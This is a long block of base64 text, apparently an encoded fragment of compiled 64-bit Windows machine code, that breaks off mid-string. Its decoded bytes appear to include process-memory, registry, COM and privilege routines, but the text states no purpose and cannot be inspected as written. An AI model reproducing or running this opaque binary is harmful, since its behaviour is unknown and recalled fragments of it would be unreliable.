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iJfCQ4SIl8JEAPgpMBAABIi1ZASIXSD4SGAQAATIt2SE2F9g+EeQEAAEiNRCQwTI1EJEhIg8IMQbkEAAAASYvMSIl8JDBIiUQkIP8VL0oCAIXAD4RuAQAASIN8JDAED4ViAQAASItUJEhIjUQkMEyNRCQ4SIPCBEG5BAAAAEmLzEkD1kiJfCQwSIlEJCBIiVQkSP8V50kCAIXAD4QmAQAASIN8JDAED4UaAQAASItUJDhIjUQkMEyNRCRASIPCBEG5BAAAAEmLzEkD1kiJfCQwSIlEJCBIiVQkOP8Vn0kCAIXAD4TeAAAASIN8JDAED4XSAAAASItUJEBIjUQkMEyNRCRQSIPCEEG5/wMAAEmLzEkD1kiJfCQwSIlEJCBIiVQkQP8VV0kCAIXAD4SWAAAASItEJDBIhcAPhIgAAABIPQAEAAAPg6wAAABAiHwEUEyLx0CIvU8DAABmDx9EAABGD75UBFBmRokUQ0mB+AAEAABzCEn/wEWE0nXkSI0VJVMDAEiLy+i19QAASIXAdDdNi89Mi8NIi9ZJi8zonwEAAOskuAVAAIDrH0yNBddSAwDrB0yNBb5SAwC6AAQAAEiLy+jN+QAAi8dIi7wkaAQAAEyLtCRgBAAASIuNUAMAAEgzzOjY0gAASIHEcAQAAEFfQVxeW13D6GD4AADMDx8A2HUAABR2AADkdQAA8HUAAAh2AABUdQAAYHUAAGx1AAB4dQAAhHUAAJB1AACcdQAAqHUAALR1AADAdQAAzHUAAPx1AABJdgAAABEBERERERERERERERERERERERERERECEREREREREQMEEREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREREFBgcICQoLDA0ODxERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERBAVVNWV0FWQVdIjawkuPP//0iB7EgNAABIiwV5SwQASDPESImFMAwAAE2L8U2L+EiL+kiL8U2FwHUKuFcAB4DprQIAAE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